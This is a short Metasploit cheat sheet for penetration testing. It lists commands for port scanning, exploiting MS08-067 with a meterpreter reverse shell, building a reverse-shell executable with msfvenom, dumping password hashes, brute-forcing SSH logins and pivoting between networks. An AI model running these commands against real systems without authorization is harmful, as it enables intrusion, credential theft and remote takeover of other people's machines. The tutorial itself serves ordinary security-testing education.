Metasploit Framework is a powerful tool for penetration testing, vulnerability assessment, and exploitation. Here are some examples of its usage :
Basic Examples
- Scanning for Vulnerabilities :
$ msfconsole
$ use auxiliary/scanner/portscan/tcp
$ set RHOSTS 192.168.1.0/24
$ run
This scans a network for open TCP ports.
- Exploiting a Vulnerability :
$ msfconsole
$ use exploit/windows/smb/ms08_067_netapi
$ set RHOST 192.168.1.100
$ set PAYLOAD windows/meterpreter/reverse_tcp
$ set LHOST 192.168.1.101
$ exploit
This exploits the MS08-067 vulnerability in Windows SMB to gain a reverse shell.
- Creating a Payload :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe > payload.exe
Generates a malicious executable file for a reverse shell.
- Post-Exploitation :
$ meterpreter > sysinfo
$ meterpreter > hashdump
$ meterpreter > screenshot
Executes commands on the compromised system to gather information, dump password hashes, and capture screenshots.
Advanced Examples
- Brute Force Attack :
$ msfconsole
$ use auxiliary/scanner/ssh/ssh_login
$ set RHOSTS 192.168.1.0/24
$ set USERNAME admin
$ set PASS_FILE passwords.txt
$ run
Attempts to brute-force SSH credentials.
- Custom Exploit Development :
- Write a custom exploit module in Ruby.
- Load it into Metasploit using the
load command.
- Pivoting :
meterpreter > route add 192.168.2.0 255.255.255.0 1
Adds a route to pivot through the compromised machine to another network.
Practical Applications
- Network Security Testing : Identify vulnerabilities in a network and test defenses.
- Exploit Development : Create and test custom exploits.
- Incident Response : Analyze and mitigate security breaches.
